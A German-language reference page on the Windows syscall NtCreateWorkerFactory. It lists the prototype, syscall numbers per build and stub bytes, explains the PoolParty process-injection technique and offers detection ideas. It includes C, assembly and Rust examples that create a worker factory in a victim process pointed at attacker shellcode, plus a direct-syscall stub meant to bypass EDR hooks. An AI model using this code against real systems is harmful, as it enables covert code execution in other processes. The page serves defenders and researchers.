> Windows Syscalls
ntoskrnl.exeT1055T1106

NtCreateWorkerFactory

Erzeugt ein Kernel-Worker-Factory-Objekt — die Threadpool-Primitive, die PoolParty-Injection missbraucht, um Shellcode ohne NtCreateThreadEx auszuführen.

Prototyp

NTSTATUS NtCreateWorkerFactory(
  PHANDLE             WorkerFactoryHandleReturn,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  HANDLE              CompletionPortHandle,
  HANDLE              WorkerProcessHandle,
  PVOID               StartRoutine,
  PVOID               StartParameter,
  ULONG               MaxThreadCount,
  SIZE_T              StackReserve,
  SIZE_T              StackCommit
);

Argumente

NameTypeDirDescription
WorkerFactoryHandleReturnPHANDLEoutErhält das neue Worker-Factory-Handle bei Erfolg.
DesiredAccessACCESS_MASKinAngeforderte Zugriffsmaske — WORKER_FACTORY_ALL_ACCESS (0xF00FF) für vollen Zugriff.
ObjectAttributesPOBJECT_ATTRIBUTESinOptionale OBJECT_ATTRIBUTES, üblicherweise NULL — Worker Factories werden selten benannt.
CompletionPortHandleHANDLEinHandle auf einen I/O-Completion-Port (NtCreateIoCompletion), der den Worker-Threads der Factory Arbeit liefert.
WorkerProcessHandleHANDLEinProzess, in dem die Worker-Threads laufen. NtCurrentProcess() für den eigenen Prozess; ein Remote-Handle ist der PoolParty-Injection-Vektor.
StartRoutinePVOIDinAdresse des Worker-Thread-Einsprungpunkts — üblicherweise ntdll!TppWorkerThread bei legitimen Threadpools, vom Angreifer kontrolliert bei PoolParty.
StartParameterPVOIDinEinzelner Parameter, der StartRoutine bei jedem neuen Worker-Thread übergeben wird.
MaxThreadCountULONGinMaximale Anzahl gleichzeitig laufender Worker-Threads, die die Factory erzeugen darf.
StackReserveSIZE_TinStack-Reservierung in Bytes für jeden Worker-Thread. 0 verwendet den Image-Default.
StackCommitSIZE_TinInitial committeter Stack für jeden Worker-Thread.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070xBEwin10-1507
Win10 16070xC1win10-1607
Win10 17030xC4win10-1703
Win10 17090xC5win10-1709
Win10 18030xC6win10-1803
Win10 18090xC7win10-1809
Win10 19030xC8win10-1903
Win10 19090xC8win10-1909
Win10 20040xCCwin10-2004
Win10 20H20xCCwin10-20h2
Win10 21H10xCCwin10-21h1
Win10 21H20xCDwin10-21h2
Win10 22H20xCDwin10-22h2
Win11 21H20xD2win11-21h2
Win11 22H20xD3win11-22h2
Win11 23H20xD3win11-23h2
Win11 24H20xD5win11-24h2
Server 20160xC1winserver-2016
Server 20190xC7winserver-2019
Server 20220xD1winserver-2022
Server 20250xD5winserver-2025

Kernel-Modul

ntoskrnl.exeNtCreateWorkerFactory

Verwandte APIs

CreateThreadpoolCreateThreadpoolWorkSubmitThreadpoolWorkCloseThreadpoolNtSetInformationWorkerFactoryNtQueryInformationWorkerFactoryNtShutdownWorkerFactoryNtWaitForWorkViaWorkerFactoryNtCreateIoCompletion

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 D5 00 00 00      mov eax, 0xD5
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtCreateWorkerFactory ist die Kernel-Hälfte des User-Mode-Windows-Threadpools: jeder `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` in kernel32 / ntdll steuert letztlich ein `WorkerFactory`-Objekt über diesen Syscall. Die Factory verbindet einen I/O-Completion-Port (Quelle der Work-Items), einen Zielprozess für Worker-Threads und eine `StartRoutine`, die beim Online-Gehen der Threads aufgerufen wird. Bei legitimem Code ist diese StartRoutine `ntdll!TppWorkerThread`, das anschließend in `NtWaitForWorkViaWorkerFactory` schleift. Das undokumentierte Design — ein einzelner Syscall, der Threads in einem beliebigen Prozess mit beliebigem Einsprungpunkt erzeugt — macht es zu einer mächtigen Injection-Primitive, und die Syscall-Nummer driftet fast bei jedem Feature-Release.

Häufige Malware-Nutzung

Dies ist die Grundlage der PoolParty-Injection-Familie, die Alon Leviev (SafeBreach) auf der Black Hat Europe 2023 vorstellte. Die kanonische Variante: ein Handle auf einen Remote-Prozess öffnen, einen I/O-Completion-Port und eine Worker Factory in diesem Prozess mit `StartRoutine` auf angreifergeliefertem Shellcode im Remote-Adressraum anlegen, dann Arbeit posten, um Threads zu wecken. Ergebnis: Code-Ausführung im Ziel, *ohne jemals* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection` oder eine der sieben bis acht Thread-Erzeugungs-Primitiven aufzurufen, die fast jedes EDR hookt. Acht eigenständige PoolParty-Varianten landen alle hier.

Erkennungs­möglichkeiten

Worker-Factory-Erzeugung, die Prozessgrenzen überschreitet, ist das hochwertigste Signal. Cross-Process-`NtCreateWorkerFactory` (wenn `WorkerProcessHandle` nicht auf den aufrufenden Prozess verweist) ist außerhalb von Angreifer-Tooling praktisch unbekannt. ETW deckt nur eingeschränkt ab — der Microsoft-Windows-Threading-Provider emittiert einige Worker-Factory-Events, aber nicht den Syscall selbst; der Threat-Intelligence-Provider deckt diese Primitive derzeit nicht. Praktische Erkennung: Kernel-Callback-Prüfung des `ProcessHandle` des `WorkerFactory`-Objekts gegen das erzeugende EPROCESS, oder User-Mode-Hooking von ntdll!NtCreateWorkerFactory (das direkte Syscalls umgehen — dann ist der Kernel-Ansatz nötig). VAD-Scan des Zielprozesses nach RX-Regionen ohne Image-Backing, gefolgt von einer Worker Factory, die diese Region referenziert, ist die sauberste Post-Mortem-Jagd.

Direkte Syscall-Beispiele

cPoolParty Variant 1 — remote worker factory

// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.

HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);

// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
                  0, 0, DUPLICATE_SAME_ACCESS);

// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
                      WORKER_FACTORY_ALL_ACCESS, NULL,
                      hRemoteIoCompletion,
                      hProc,                    // <-- victim process
                      pRemoteShellcode,         // <-- attacker payload
                      NULL,                     // StartParameter
                      1, 0x100000, 0x10000);

// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);

asmx64 direct stub (Win11 24H2 SSN 0xD5)

; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 0D5h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtCreateWorkerFactory ENDP

rustwindows-sys cross-process invocation

// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;

unsafe fn spawn_remote_worker(
    victim: HANDLE,
    remote_iocp: HANDLE,
    remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
    let mut wf: HANDLE = 0;
    let status = NtCreateWorkerFactory(
        &mut wf as *mut _ as *mut _,
        0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
        core::ptr::null_mut(),
        remote_iocp,
        victim,
        remote_payload,
        core::ptr::null_mut(),
        1,
        0x100000,
        0x10000,
    );
    assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
    wf
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20